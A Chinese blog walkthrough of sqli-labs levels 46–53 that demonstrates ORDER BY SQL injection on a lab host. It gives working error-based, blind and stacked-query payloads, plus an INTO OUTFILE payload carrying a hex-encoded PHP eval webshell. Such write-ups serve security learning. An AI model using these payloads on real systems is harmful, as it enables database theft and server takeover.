SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)

文章目录

        • 1. SqliLab_Mysql_Injection详解_字符型注入(十三)
          • 1.1. SQL注入_ORDER BY注入
          • 1.2. 原理
          • 1.3. 1.3.ORDER BY 语句的排序方式 排序方式
        • 2. SqliLab关卡(包含46,47,48,49,50,51,52,53)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)
          • 2.1. SqliLab-46(ORDER BY注入(无字符闭合)):
            • 2.1.1. 初始界面
            • 2.1.2. 判断注入点(关键步骤)
            • 2.1.3. 使用报错注入获取数据库信息
            • 2.1.4. 使用布尔盲注获取数据库信息
            • 2.1.5. 使用时间盲注获取数据库信息
            • 2.1.6. into outfile导出文件(必须满足三个条件)
          • 2.2. SqliLab-47(ORDER BY注入(单引号闭合)):
            • 2.2.1. 初始界面
            • 2.2.2. 判断注入点(关键步骤)
            • 2.2.3. 使用报错注入获取数据库信息
            • 2.2.4. 使用时间盲注获取数据库信息
            • 2.2.5. into outfile导出文件(必须满足三个条件)
          • 2.3. SqliLab-48(ORDER BY注入(无字符闭合)):
            • 2.3.1. 初始界面
            • 2.3.2. 判断注入点(关键步骤)
            • 2.3.3. 使用布尔盲注获取数据库信息
            • 2.3.4. 使用时间盲注获取数据库信息
            • 2.3.5. into outfile导出文件(必须满足三个条件)
          • 2.4. SqliLab-49(ORDER BY注入(单引号闭合)):
            • 2.4.1. 初始界面
            • 2.4.2. 判断注入点(关键步骤)
            • 2.4.3. 使用时间盲注获取数据库信息
            • 2.4.4. into outfile导出文件(必须满足三个条件)
          • 2.5. SqliLab-50(ORDER BY/堆叠注入(无字符闭合)):
            • 2.5.1. 初始界面
            • 2.5.2. 判断注入点(关键步骤)
            • 2.5.3. 使用报错注入获取数据库信息
            • 2.5.4. 使用时间盲注获取数据库信息
            • 2.5.5. into outfile导出文件(必须满足三个条件)
          • 2.6. SqliLab-51(ORDER BY注入(单引号闭合)):
            • 2.6.1. 初始界面
            • 2.6.2. 判断注入点(关键步骤)
            • 2.6.3. 使用报错注入获取数据库信息
            • 2.6.4. 使用时间盲注获取数据库信息
            • 2.6.5. into outfile导出文件(必须满足三个条件)
          • 2.7. SqliLab-52(ORDER BY注入(无字符闭合)):
            • 2.7.1. 初始界面
            • 2.7.2. 判断注入点(关键步骤)
            • 2.7.3. 使用时间盲注获取数据库信息
            • 2.7.4. into outfile导出文件(必须满足三个条件)
          • 2.8. SqliLab-53(ORDER BY注入(单引号闭合)):
            • 2.8.1. 初始界面
            • 2.8.2. 判断注入点(关键步骤)
            • 2.8.3. 使用时间盲注获取数据库信息
            • 2.8.4. into outfile导出文件(必须满足三个条件)
        • 3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入(十三)

1.1. SQL注入_ORDER BY注入
1.2. 原理

order by 语句 一般格式是:select * from table order by x;在这里的查询语句,order by还是根据数据库表的字段数量来排序的

1.3. 1.3.ORDER BY 语句的排序方式 排序方式

EG:

SELECT * from users order by 1 ASC 
//升序,不加ASC时默认也是升序;
SELECT * from users order by 1 DESC 
//降序;

2. SqliLab关卡(包含46,47,48,49,50,51,52,53)(图片占据空间太大,payload具体返回情况均写在每条payload下的注释中)

2.1. SqliLab-46(ORDER BY注入(无字符闭合)):
2.1.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第1张图片

2.1.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);
使用order by 判断
EG:

http://192.168.1.104/sql/Less-46/?sort=1 --+
//页面返回正确,查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用order by的降序排列分类;
http://192.168.1.104/sql/Less-46/?sort=1 desc --+
//页面返回正确,查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无字符闭合;

使用rand(true)和rand(false) 判断
EG:

http://192.168.1.104/sql/Less-46/?sort=rand(true) --+
//页面返回正确,查看到以(id)的随机排列分类的,查看是否存在页面差,尝试使用rand(false)的随机排列分类;
http://192.168.1.104/sql/Less-46/?sort=rand(false) --+
//页面返回正确,查看到以(id)的另一种随机排列分类的,判断出参数(sort)存在order by注入;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-46/?sort=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-46/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-46/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和返回页面只有正确与错误,可以考虑使用报错注入或者布尔/时间盲注的方式来获取数据库信息,下面进行测试;

2.1.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-46/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第2张图片

2.1.4. 使用布尔盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-46/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与(sort=rand(true))结果一样,查询到当前数据库名的第一个字符为(s);
...
2.1.5. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-46/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.1.6. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-46/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-46\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第3张图片

获取其他信息的方法如上面示例的一样,至此,SqliLab-46结束;

2.2. SqliLab-47(ORDER BY注入(单引号闭合)):
2.2.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第4张图片

2.2.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),由于在数据库中进行尝试构造order by语句发现,order by 后面的x的值,如果被单引号或者双引号之类的字符闭合时,无法使用order by 语句,所以这里先假设参数(sort)存在注入,同时判断服务器返回页面是否存在SQL语句报错提示,如果存在,则使用报错注入构造payload,如果有数据库的信息被显示,则证明该参数存在注入,以及判断出它的闭合字符(或者直接用时间盲注去判断是否存在注入);

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-47/?sort=1'))) --+
//服务器返回页面错误,同时发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

使用order by 判断
EG:

http://192.168.1.104/sql/Less-47/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确,无报错信息显示数据库信息,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误,有报错信息显示数据库信息,判断出参数(sort)存在order by注入,闭合字符为(');

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-47/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入或者时间盲注的方式来获取数据库信息,下面进行测试;

2.2.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-47/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.2.4. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-47/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.2.5. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-47/?sort=1'  into outfile"G:\\Phpstudy\\WWW\\sql\\Less-47\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-47结束;

2.3. SqliLab-48(ORDER BY注入(无字符闭合)):
2.3.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第5张图片

2.3.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),观察到初始页面同SqliLab-47相似,可能存在类似的注入,按照SqliLab-47的步骤尝试;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-48/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-48/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

使用order by 判断
EG:

http://192.168.1.104/sql/Less-48/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-48/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符为;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-48/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-48/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面只有正确与错误,可以考虑使用布尔/时间盲注的方式来获取数据库信息,下面进行测试;

2.3.3. 使用布尔盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-48/?sort=rand(left(database(),1)='s') --+
//服务器返回页面与(sort=rand(true))结果一样,查询到当前数据库名的第一个字符为(s);
...
2.3.4. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-48/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.3.5. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-48/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-48\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-48结束;

2.4. SqliLab-49(ORDER BY注入(单引号闭合)):
2.4.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第6张图片

2.4.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变),观察到初始页面同SqliLab-47相似,可能存在类似的注入,按照SqliLab-47的步骤尝试;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-49/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-49/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-49/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确,但无较长时间延迟,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-49/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;

2.4.3. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-49/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.4.4. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-49/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-49\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-49结束;

2.5. SqliLab-50(ORDER BY/堆叠注入(无字符闭合)):
2.5.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第7张图片

2.5.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);

使用order by 判断
EG:

http://192.168.1.104/sql/Less-50/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-50/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-50/?sort=1'))) --+
//服务器返回页面错误,发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-50/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-47/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误,同时有报错提示,查询到当前Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test);
http://192.168.1.104/sql/Less-50/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入和时间盲注的方式来获取数据库信息,下面进行测试;

2.5.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-50/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.5.4. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-50/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.5.5. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-50/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-50\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-50结束;

2.6. SqliLab-51(ORDER BY注入(单引号闭合)):
2.6.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第8张图片

2.6.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-51/?sort=1'))) --+
//服务器返回页面错误,发现存在SQL语句报错提示;
//经过判断,存在SQL语句报错提示;

使用order by 判断
EG:

http://192.168.1.104/sql/Less-51/?sort=1 and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回正确,无报错信息显示数据库信息,尝试使用(')代替()进行构造;
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//页面返回错误,有报错信息显示数据库信息,判断出参数(sort)存在order by注入,闭合字符为(');

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-51/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-51/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//服务器返回页面错误,同时有报错提示,查询到当前Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test);
http://192.168.1.104/sql/Less-51/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),1,32),1) --+
...
http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from information_schema.schemata),0x7c),39,32),1) --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面存在SQL语句报错提示和无回显信息,可以考虑使用报错注入和时间盲注的方式来获取数据库信息,下面进行测试;

2.6.3. 使用报错注入获取数据库信息

EG:

http://192.168.1.104/sql/Less-51/?sort=1' and updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c,user(),0x7c),1) --+
//服务器返回页面错误,同时发现SQL语句报错提示显示了当前数据库名为(security),MySQL版本为(5.5.53),用户为(root@);
...
2.6.4. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-51/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.6.5. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-51/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-51\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-51结束;

2.7. SqliLab-52(ORDER BY注入(无字符闭合)):
2.7.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第9张图片

2.7.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);

使用order by 判断(rand(true)/rand(false)也行)
EG:

http://192.168.1.104/sql/Less-52/?sort=1 --+
//页面返回正确(预期正确),查看到以(id)的升序排列分类的,查看是否存在页面差,尝试使用(sort=1 DESC)进行构造;
http://192.168.1.104/sql/Less-52/?sort=1 DESC
//页面返回正确(预期正确),查看到以(id)的降序排列分类的,判断出参数(sort)存在order by注入,无闭合字符;

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-52/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-52/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-52/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-52/?sort=1 and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),1)='i') --+
//服务器返回页面同(sort=rand(true))一样,查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-52/?sort=1;create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h') --+
//服务器返回页面同(sort=rand(true))一样,查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
http://192.168.1.104/sql/Less-52/?sort=rand(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test') --+
//查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,无闭合字符,存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面不存在SQL语句报错提示和无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;

2.7.3. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-52/?sort=1 and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.7.4. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-52/?sort=1 into outfile"G:\\Phpstudy\\WWW\\sql\\Less-52\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

获取其他信息的方法如上面示例的一样,至此,SqliLab-52结束;

2.8. SqliLab-53(ORDER BY注入(单引号闭合)):
2.8.1. 初始界面

SqliLab_Mysql_Injection详解_字符型注入(十三)_ORDER BY注入(46~53)_第10张图片

2.8.2. 判断注入点(关键步骤)

观察发现是GET型数据传送,参数为(sort),字面意思是分类,考虑可能使用了order by 来进行分类的,尝试对其进行注入点判断(一般闭合字符是从单引号,双引号开始)(参数值的改变是否造成页面的改变);

判断是否存在SQL语句报错提示
EG:

http://192.168.1.104/sql/Less-53/?sort=1'))) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
http://192.168.1.104/sql/Less-53/?sort=1""^&)) --+
//服务器返回页面错误,没有发现存在SQL语句报错提示,再次尝试;
...
//经过判断,不存在SQL语句报错提示;

判断是否存在时间盲注
EG:

http://192.168.1.104/sql/Less-53/?sort=1 and if(1=1,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟,尝试使用(')代替()构造;
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=1,sleep(5),1) --+
//服务器返回页面错误,有较长时间延迟,尝试使用(1=2)构造;
http://192.168.1.104/sql/Less-53/?sort=1' and if(1=2,sleep(5),1) --+
//服务器返回页面正确,无较长时间延迟;
//经过判断,存在时间盲注;

判断是否存在堆叠注入
EG:

http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),1)='i',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到Mysql中存在的数据库字符串中的第一个字符为(i),再次尝试;
...
//查询到Mysql中的数据库有(information_schema,challenges,mysql,performance_schema,security,test),尝试使用堆叠注入新增一个数据库(hack_test)
http://192.168.1.104/sql/Less-53/?sort=1';create database hack_test --+
//服务器返回正确,使用报错注入查询当前Mysql中有哪些数据库;
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),31)='information_schema,challenges,h',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到Mysql中存在的数据库字符串中的第三十一个字符为(h),再次尝试;
...
http://192.168.1.104/sql/Less-53/?sort=1' and if(left((select group_concat(schema_name) from information_schema.schemata),39)='information_schema,challenges,hack_test',sleep(5),1) --+
//服务器返回页面存较长时间延迟,查询到数据库有(information_schema,challenges,hack_test,mysql,performance_schema,security,test),发现Mysql中已经新增了一个名叫hack_test的数据库;
//经过判断,存在堆叠注入;

经过对参数(sort)测试,发现参数(sort)存在order by 注入,闭合字符为(’),存在堆叠注入,权限过高可以直接写入shell(网站绝对路径已知,有导出文件权限)(此处secure-file-priv=null),同时发现服务器返回页面不存在SQL语句报错提示和无回显信息,可以考虑使用时间盲注的方式来获取数据库信息,下面进行测试;

2.8.3. 使用时间盲注获取数据库信息

EG:

...
http://192.168.1.104/sql/Less-53/?sort=1' and if (ascii(substr(database(),1,1))='115',sleep(5),1) --+
//服务器返回页面错误,有较长的时间延迟,查询到当前数据库名的第一个字符的第一个ASCII值为(115);
...
2.8.4. into outfile导出文件(必须满足三个条件)

EG:

http://192.168.1.104/sql/Less-53/?sort=1' into outfile"G:\\Phpstudy\\WWW\\sql\\Less-53\\shell.php" lines terminated by 0x3c3f70687020406576616c28245f504f53545b5f5d293b203f3e --+

3. 总结

ORDER BY 注入一般适用于高权限的注入(后期注入),只要满足高权限注入的条件(当前连接用户拥有高权限(File_priv 权限),允许写入导出文件(secure-file-priv变量值不为null),知晓网站根目录),就能给服务器写入webshell;对于练习题中的order by语句后面的x(以x字段排序),如果存在字符闭合,则要使用报错注入/时间盲注的方式来判断是否存在闭合字符;反之,如果没有闭合字符(数字型),则可以用order by 语句自身的(ASC,DESC)和rand(TRUE)/rand(FALSE)来判断参数是否存在注入;最后,关键的还是注入点的判断。

[如有错误,请指出,拜托了<( _ _ )> !!!]

你可能感兴趣的:(#,MYSQL注入学习)